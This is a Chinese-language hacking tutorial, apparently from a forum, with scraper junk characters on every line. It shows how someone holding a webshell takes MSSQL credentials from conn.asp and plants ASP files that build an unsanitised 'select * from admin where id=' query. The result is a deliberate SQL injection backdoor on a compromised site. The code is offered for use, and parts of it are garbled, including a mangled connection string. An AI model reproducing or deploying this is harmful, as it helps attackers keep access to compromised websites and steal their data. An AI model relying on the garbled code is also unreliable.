首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
# t8 g2 _( q4 i5 M: S' q0 ?ASP/Visual Basic代码
* s6 q2 j+ H+ P7 q1 J<!--#include file="xx.asp"-->
4 _ g% |( ]1 X5 F. J4 N<%
. [# W7 O# ?- j8 o1 u- i9 ?set rs=server.createobject("ADODB.recordset") 0 i+ D% d2 P4 ~& w. q/ [ s5 \4 i% v
id = request("id")
0 w. r+ ?1 k8 l; `3 f; R8 \$ EstrSQL = "select * from admin where id=" & id
# o* r; p! A0 Q, zrs.open strSQL,conn,1,3
! R! _! d) L+ y1 irs.close
) V3 j' m. G' W& X: A6 _/ o' c. L%> $ [! V0 z+ b8 T
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
& m% I& U+ G2 ]: O; |* S$ F+ ^6 v然后就要构造一个连接数据库的文件了,代码如下:
9 o" |9 o1 c( H1 qASP/Visual Basic代码
" q2 X6 I: t$ `8 X<%
% }5 j8 S# F* ZstrSQLServerName = "000.000.000.000" '服务器名称或地址
( ~2 R2 k( ?, Q0 E7 NstrSQLDBUserName = "sqlname" '数据库帐号 - X: }% r; P# N& L* F! q" P
strSQLDBPassword = "sqlpass" '数据库密码 ' \; `; |; W& D- Y
strSQLDBName = "sqldataname" '数据库名称 ; W' Z1 A& P( P: d' l
Set conn = Server.CreateObject("ADODB.Connection") 5 V4 D) j0 j" o; c S9 d8 |
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";" " g% u3 w7 t8 R7 A4 R4 ]* k3 J8 v
conn.open strCon
L) [6 C# S4 S) u M" J%>
I, V* _. o" R- k' Q2 ]; K6 @7 ]; r1 Q这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功, M4 S8 {- |: L" t8 V; z5 I
|